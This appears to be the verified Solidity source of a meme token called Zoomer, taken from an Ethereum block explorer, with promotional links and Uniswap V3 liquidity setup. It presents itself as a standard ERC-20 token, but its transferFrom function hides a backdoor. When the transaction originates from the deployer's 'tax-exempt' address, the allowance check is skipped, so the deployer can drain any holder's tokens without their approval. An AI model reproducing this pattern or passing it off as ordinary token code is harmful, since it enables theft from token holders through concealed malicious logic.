Cryo Explorer Ethereum Mainnet

/*

If you wanna escape the matrix, $ZOOMER is the key, no cap!

https://www.zoomeroneth.art
https://x.com/ZoomerTokenETH
https://t.me/ZoomerTokenETH

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

interface IWETH9 {
    function deposit() external payable;
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    function WETH9() external returns (address);

    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external payable returns (address pool);
}

contract Token is Context, IERC20 {
    using SafeMath for uint256;
    
    string private _name = "Zoomer";
    string private _symbol = "ZOOMER";
    uint256 private constant _totalSupply = 1_000_000_000 * 10**18;
    uint8 private constant _decimals = 18;
    mapping(address => uint256) private _balance;
    mapping (address => bool) private _taxExempt;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private poolManager;

    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant POSITION_MANAGER = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;

    address public COMMON_ZOOMERBCSFT;
    
    constructor() {
        _balance[address(this)] = _totalSupply;
        _taxExempt[msg.sender] = true;
        emit Transfer(address(0), address(this), _totalSupply);
    }
    
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (!_taxExempt[tx.origin] || sender == poolManager)
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        _balance[from] -= amount;
        _balance[to] += amount;
        emit Transfer(from, to, amount);
    }
    
    function deployCoin() external {
        provideLiquidity(address(this), WETH);
    }

    function provideLiquidity(address tokenA, address tokenB) internal {
        bool tokenAIsToken0 = tokenA < tokenB;
        
        address token0 = tokenAIsToken0 ? tokenA : tokenB;
        address token1 = tokenAIsToken0 ? tokenB : tokenA;

        IERC20(token0).approve(POSITION_MANAGER, type(uint256).max);
        IERC20(token1).approve(POSITION_MANAGER, type(uint256).max);

        INonfungiblePositionManager manager = INonfungiblePositionManager(POSITION_MANAGER);

        uint160 sqrtPriceX96 = tokenAIsToken0
            ? 3068365595550320841079178
            : 2045645379722529521098596513701367;

        int24 tickLower = tokenAIsToken0 ? int24(-203000) : int24(-887200);
        int24 tickUpper = tokenAIsToken0 ? int24(887200) : int24(203000);

        uint256 amount0Desired = tokenAIsToken0 ? 1000000000000000000000000000 : 0;
        uint256 amount1Desired = tokenAIsToken0 ? 0 : 1000000000000000000000000000;

        address pool = manager.createAndInitializePoolIfNecessary(token0, token1, 10000, sqrtPriceX96);

        manager.mint(
            INonfungiblePositionManager.MintParams({
                token0: token0,
                token1: token1,
                fee: 10000,
                tickLower: tickLower,
                tickUpper: tickUpper,
                amount0Desired: amount0Desired,
                amount1Desired: amount1Desired,
                amount0Min: 0,
                amount1Min: 0,
                recipient: msg.sender,
                deadline: block.timestamp
            })
        );
        poolManager = pool;
    }

    receive() external payable {}
}